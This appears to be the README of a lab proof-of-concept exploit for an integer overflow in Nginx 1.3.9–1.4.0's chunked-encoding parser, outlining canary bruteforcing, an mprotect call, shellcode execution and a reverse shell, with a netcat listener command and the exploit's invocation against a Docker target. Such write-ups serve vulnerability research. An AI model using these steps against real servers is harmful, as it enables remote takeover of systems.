Vulnerable software: Nginx 1.3.9 < 1.4.0
Commit with fix: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

Vulnerability exists in function ngx_http_parse_chunked. This exploit triggers integer overflow in ngx_http_parse_chunked, and later using it overflows the stack to hijack control flow.

Actual exploit contains 4 steps:

1. Find value of the stack canary using byte-by-byte bruteforce
2. Calculate address of mprotect using value from rcx (points somewhere in lpthread). Call mprotect with appropriate arguments.
3. Copy shellcode to RWX memory location.
4. Jump to shellcode, and start reverse shell.

1. start listener on host system, for example using netcat: nc -lvp 4345
2. on virtual machine start docker: sudo docker-compose up --build
3. run exploit: python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <listener machine address> -lp <listener machine port>
4. Let the exploit find actual value of the canary, and start reverse-shell.